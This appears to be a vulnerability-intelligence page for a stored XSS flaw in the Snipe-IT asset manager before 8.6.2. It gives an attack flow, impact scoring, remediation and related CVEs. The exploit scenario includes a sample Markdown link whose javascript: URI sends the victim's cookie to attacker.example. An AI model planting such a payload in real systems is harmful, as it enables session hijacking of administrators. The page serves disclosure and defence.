Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with assets.edit permission
-
DeliveryEmbed javascript: URI in markdown-textarea custom field
-
ExploitAsset record persisted to database
-
ExecutionVictim opens asset detail page
-
PersistVictim clicks malicious hyperlink
-
ImpactArbitrary JavaScript executes in victim's browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold the assets.edit permission within Snipe-IT - this is a low-privilege but non-anonymous role, meaning anonymous or unauthenticated users cannot exploit this flaw. The target system must have at least one custom field of type markdown-textarea configured and associated with an asset the attacker can edit; without this custom field type, the vulnerable rendering code is never reached. Critically, exploitation also requires a separate authenticated victim (e.g., an admin or asset viewer) to open the affected asset detail page AND actively click the malicious hyperlink - passive page load alone does not trigger the JavaScript payload. Exploitation is therefore limited to environments with markdown-textarea custom fields enabled and where a social-engineering or opportunistic click by a privileged user is achievable. |
| Impact | The CVSS 4.0 score of 4.8 (Medium) reflects the realistic risk well. Key signals: PR:L confirms exploitation requires the assets.edit permission - this is not a guest or anonymous attack. UI:A (Active user interaction) requires the victim to physically click the malicious link, which is an additional friction point. Impact is bounded to the subsequent system (victim's browser session), with SC:L/SI:L indicating limited confidentiality and integrity impact - consistent with session hijacking or CSRF-level actions, not remote code execution on the server. EPSS data was not provided, so exploitation probability is not independently quantified. KEV status is absent, confirming no CISA-documented active exploitation. There is no disclosed POC. Net assessment: this is a realistic but constrained threat - the assets.edit permission requirement and mandatory click interaction limit the attacker pool and reduce drive-by exploitation potential. The primary realistic scenario is a malicious insider or a compromised low-privilege account targeting higher-privilege users (e.g., admins reviewing asset records). |
| Exploit ScenarioDerived | An attacker who holds assets.edit permission in Snipe-IT edits an existing asset (or creates a new one) and inserts a Markdown hyperlink with a javascript: URI such as [View Details](javascript:fetch('https://attacker.example/steal?c='+document.cookie)) into a custom markdown-textarea field. A system administrator or helpdesk technician later opens that asset's detail page and clicks the seemingly legitimate link, triggering the JavaScript payload in their browser session and exfiltrating their session cookie or performing privileged actions on their behalf. No public exploit code has been confirmed at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 10, 2026
Stored cross-site scripting (XSS) in Snipe-IT before 8.6.2 allows a low-privileged user with the assets.edit permission to plant a malicious javascript: URI inside a Markdown hyperlink in a custom textarea field. When any other user opens the affected asset detail page and clicks the crafted link, arbitrary JavaScript executes in their browser session. No public exploit code or active exploitation has been identified at time of analysis, and the vendor has released a patch in v8.6.2.
RemediationAI
Upgrade to Snipe-IT version 8.6.2 or later. The fix is documented in the GitHub security advisory at https://github.com/grokability/snipe-it/security/advisories/GHSA-r52f-r9v5-66xr and implemented in commit 006981cccffce1739e24d3b680b676f772f40e2d (https://github.com/grokability/snipe-it/commit/006981cccffce1739e24d3b680b676f772f40e2d). If immediate patching is not possible, restrict the assets.edit permission to only fully trusted users, as this is the sole prerequisite for placing the malicious payload. Additionally, deploy or tighten a Content Security Policy (CSP) header that blocks javascript: navigations (e.g., script-src 'self') - this provides defense-in-depth and mitigates the click-to-execute step, though it does not remove the stored payload. Note that restricting permissions may affect legitimate asset editing workflows.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Snipe-IT (CPE: cpe:2.3:a:grokability:snipe-it) is a PHP-based IT asset and license management platform. It uses CommonMark to render Markdown in custom fields. CommonMark's default sanitization strips raw HTML tags, which prevents direct injection of <script> elements; however, it does not filter javascript: scheme URIs embedded in Markdown hyperlink syntax (e.g., [click me](javascript:alert(1))). This gap maps directly to CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-site Scripting), specifically the stored variant, because the malicious payload is persisted to the database alongside the asset record and rendered to every viewer of that asset's detail page. The vulnerability bypasses HTML-level sanitization by abusing a URL context rather than an HTML element context.
Know when Snipe It gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network delivery, low complexity; PR:L for required assets.edit role; UI:R for mandatory victim click; S:C with C:L/I:L for session-level impact on victim.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, CommonMark escapes raw HTML but does not sanitize javascript: URIs in Markdown hyperlinks, allowing a user with assets.edit permission to place a malicious link in a markdown-textarea custom field that executes arbitrary JavaScript when another user opens the asset detail page and clicks the link. This issue is fixed in version 8.6.2.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-Site Request Forgery (CSRF) in GitHub repository snipe/snipe-it prior to v.6.2.3. Rated high severity (CVSS 8.8),
In Snipe-IT, versions v3.0-alpha to v5.3.7 are vulnerable to Host Header Injection. Rated high severity (CVSS 8.8), this
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
snipe-it is vulnerable to Cross-Site Request Forgery (CSRF). Rated high severity (CVSS 8.8), this vulnerability is remot
Two-factor authentication bypass in Snipe-IT (all releases before 8.7.0) allows an attacker who already knows a victim's
Session Fixation in GitHub repository snipe/snipe-it prior to 6.0.10. Rated high severity (CVSS 8.0), this vulnerability
Old sessions are not blocked by the login enable function. Rated high severity (CVSS 7.4), this vulnerability is remotel
snipe-it is vulnerable to Server-Side Request Forgery (SSRF). Rated high severity (CVSS 7.2), this vulnerability is remo
Broken authorization in Snipe-IT before 8.6.2 lets an authenticated non-admin user who holds users.view and users.edit -
Privilege escalation via authorization bypass in Snipe-IT versions prior to 8.6.0 allows any authenticated user holding
Improper permission handling in Snipe-IT before 8.6.0 lets a privileged user strip another user's administrative or gran
Snipe-IT before 7.0.10 allows remote code execution (associated with cookie serialization) when an attacker knows the AP
EUVD-2026-42992
GHSA-r52f-r9v5-66xr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB